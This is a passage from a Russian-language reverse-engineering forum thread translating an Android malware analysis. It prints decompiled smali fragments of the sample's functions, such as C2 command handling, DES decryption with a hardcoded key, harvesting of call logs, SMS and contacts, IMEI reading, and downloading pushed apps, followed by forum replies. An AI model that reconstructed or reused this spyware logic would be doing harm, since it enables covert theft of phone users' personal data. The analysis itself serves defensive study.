    invoke-virtual {v9, v10, v1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
    
    .line 127
    iget-object v9, p0, Lcom/button/phone/strategy/net/ResponseHandler;->downloadContent:Landroid/content/ContentValues;
    const-string v10, “PackageName4″
    invoke-virtual {v9, v10, v4}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
    6. Обработка команд и зашифрованного контента приходящего от httphandler:

    Code:
    .method public handlerRawData([B)Ljava/lang/String;
    .registers 7
    .parameter “response”
    .prologue
    
    .line 229
    const-string v1, “”
    
    .line 231
    .local v1, xml:Ljava/lang/String;
    :try_start_2
    new-instance v2, Ljava/lang/String;
    const-string v3, “DES”
    invoke-static {p1, v3}, Lcom/button/phone/strategy/util/DesPlus;->decrypt([BLjava/lang/String;)[B
    move-result-object v3
    const-string v4, “utf-8″
    7. Обработка таких файлов как SMS-каталоги, адресная книга, установленные пакеты:

    Code:
    .line 140
    .local v1, calllogPath:Ljava/lang/String;
    const-string v3, “calllog8″
    invoke-virtual {p1, v3}, Lcom/button/phone/strategy/core/ContactSmsHandler;->creatCallLogFile(Ljava/lang/String;)Z
    8. Handling package management from packages that are pushed to the system

    Code:
    .method private downloadApp(Ljava/lang/String;Ljava/lang/String;)Z
    .registers 11
    .parameter “url”
    .parameter “fileName”
    9. Фоновая служба работающая в устройстве ()

    Code:
    # direct methods
    .method public constructor <init>()V
    .registers 2
    .prologue
    
    .line 33
    invoke-direct {p0}, Landroid/app/Service;-><init>()V
    
    .line 56
    new-instance v0, Lcom/button/phone/strategy/service/CelebrateService$1;
    invoke-direct {v0, p0}, Lcom/button/phone/strategy/service/CelebrateService$1;-><init>(Lcom/button/phone/strategy/service/CelebrateService;)V
    iput-object v0, p0, Lcom/button/phone/strategy/service/CelebrateService;->handler:Landroid/os/Handler;
    10. Чтение/запись в конфигурационный файл «sense.tcd»

    Code:
    .method public static getIMEI(Landroid/content/Context;)Ljava/lang/String;
    .registers 3
    .parameter “context”
    .prologue
    .line 169
    const-string v1, “phone”
    11. Кодирование в Base64
    12. DES шифрование с заданным ключом

    Code:
    .field public static final PASSWORD_CRYPT_KEY:Ljava/lang/String; = “DDH#X%LT”

    © Translated by Prosper-H from r0 Crew
    Last edited by root; 06-01-2013 at 22:42.
    Дорогу осилит идущий. (К. Касперски)

    Двери есть везде. Просто нужно знать, как в них войти. ("Хроники Амбера", персонаж: Корвин)

  2. 3 пользователя(ей) сказали cпасибо:
    AbreC (16-11-2012) dukeBarman (08-08-2013) ximera (19-11-2012)
  3. #2
    AbreC's Avatar

    Default Re: Android malware analysis

    Prosper-H, я уже не успеваю "Спасибо" ставить. Столько переводов! =)
    You may stop this individual, but you can't stop us all... after all, we're all alike. © The Mentor (Phrack 7, File 3)

  4. Пользователь сказал cпасибо:
    Prosper-H (18-11-2012)
  5. #3
    Prosper-H's Avatar

    Default Re: Android malware analysis

    Та я бы рад и больше, но траблы постоянно возникают какие-то...
    Дорогу осилит идущий. (К. Касперски)

    Двери есть везде. Просто нужно знать, как в них войти. ("Хроники Амбера", персонаж: Корвин)

+ Reply to Thread

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:34
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org